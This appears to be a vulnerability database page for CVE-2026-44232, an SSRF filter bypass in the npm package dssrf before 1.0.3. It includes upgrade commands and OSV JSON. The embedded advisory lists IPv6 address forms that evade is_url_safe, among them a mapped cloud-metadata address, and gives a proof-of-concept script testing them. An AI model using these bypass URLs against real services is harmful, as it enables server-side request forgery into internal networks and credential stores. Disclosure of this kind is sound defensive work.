CVE-2026-44232: dssrf Every IPv6 Category Bypasses Is_url_safe Vulnerability
HIGHCVE-2026-44232 is a HIGH every ipv6 category bypasses is_url_safe vulnerability (CWE-791: Incomplete Filtering of Special Elements) affecting dssrf libraries in the npm ecosystem. The issue involves every ipv6 category bypasses is_url_safe. Remediation is available by upgrading affected packages to version 1.0.3.
CVE-2026-44232 at a Glance
How to Fix CVE-2026-44232
To remediate this vulnerability, upgrade all affected dssrf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dssrf@1.0.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dssrf
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-44232, inspect your project dependencies using npm:
npm ls dssrf
Analyze the terminal output to locate any version of dssrf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.3), your application is affected.
Note: The npm ls dssrf command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-791: Incomplete Filtering of Special Elements, where the product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component. In dssrf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44232 Affected dssrf Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dssrf
|
npm |
< 1.0.3
|
1.0.3
|
References
Frequently Asked Questions
What is CVE-2026-44232?
Which dssrf versions are affected?
What version fixes CVE-2026-44232?
Is dssrf affected?
What CWE is associated with CVE-2026-44232?
How can I check npm dependencies for CVE-2026-44232?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8p33-q827-ghj5",
"modified" : "2026-06-18T22:54:14Z",
"published" : "2026-05-06T18:13:32Z",
"aliases" : [ "CVE-2026-44232" ],
"summary" : "dssrf: every IPv6 category bypasses is_url_safe",
"details" : "A vulnerability on dssrf allow, an attacker to use, one of them following ipv6\n\n```rust\nInput\tCategory\nhttp://[::1]/\tIPv6 loopback\nhttp://[fc00::1]/\tIPv6 ULA\nhttp://[fe80::1]/\tIPv6 link-local\nhttp://[::ffff:127.0.0.1]/\tIPv4-mapped loopback\nhttp://[::ffff:169.254.169.254]/\tIPv4-mapped IMDS\nhttp://[::ffff:100.64.0.1]/\tIPv4-mapped CGNAT\nhttp://[64:ff9b::7f00:1]/\tNAT64 well-known prefix\nhttp://[64:ff9b:1::1]/\tNAT64 local-use (RFC 8215)\nhttp://[5f00::1]/\tSRv6 SID (RFC 9602)\nhttp://[3fff::1]/\tIPv6 documentation (RFC 9637)\nhttp://[fec0::1]/\tIPv6 site-local (deprecated, RFC 3879)\nhttp://[::127.0.0.1]/\tIPv4-compatible IPv6\n```\n\none of those to bypass dssrf and the attacker get **SSRF**, we claim that ipv6 disabled entirely that is wrong on our documentation\n\n### POC\n\n```bash\nmkdir dssrf-poc && cd dssrf-poc\nnpm init -y >/dev/null\nnpm install dssrf@^1.0.2\ncat > audit.js <<'EOF'\nconst dssrf = require('dssrf');\nconst cases = [\n ['http://[::1]/', 'IPv6 loopback'],\n ['http://[fc00::1]/', 'IPv6 ULA'],\n ['http://[fe80::1]/', 'IPv6 link-local'],\n ['http://[::ffff:127.0.0.1]/', 'IPv4-mapped loopback'],\n ['http://[::ffff:169.254.169.254]/', 'IPv4-mapped IMDS'],\n ['http://[64:ff9b::7f00:1]/', 'NAT64 well-known + 127.0.0.1'],\n ['http://[64:ff9b:1::1]/', 'NAT64 local-use (RFC 8215)'],\n ['http://[5f00::1]/', 'SRv6 SID (RFC 9602)'],\n ['http://[fec0::1]/', 'IPv6 site-local deprecated'],\n ['http://127.0.0.1/', 'IPv4 loopback (control)'],\n ['http://10.0.0.1/', 'IPv4 RFC1918 (control)'],\n ['http://8.8.8.8/', 'PUBLIC IPv4 (control)'],\n];\n(async () => {\n for (const [url, label] of cases) {\n const safe = await dssrf.is_url_safe(url);\n console.log(`${safe ? '✓ALLOW' : '·block'} ${url.padEnd(40)} ${label}`);\n }\n})();\nEOF\nnode audit.js\n```\n\n### Credit\nMillion Thank's to <brmenna@gmail.com> for reporting that responsibly.\n\n### Update\nUsers need to update from now to dssrf 1.0.3\n\n### Lessons Learned\nAS we see in the past and today, a lot of advisories or cves bypasses uses IPv6, and IPv6 is the weakest link to be configured correctly and rarely properly tested, Since we blocked ipv4, our ipv6 blocking logic completly broken and never works",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dssrf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-8p33-q827-ghj5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44232"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/HackingRepo/dssrf-js"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-791" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T18:13:32Z",
"nvd_published_at" : "2026-05-12T21:16:16Z"
}
}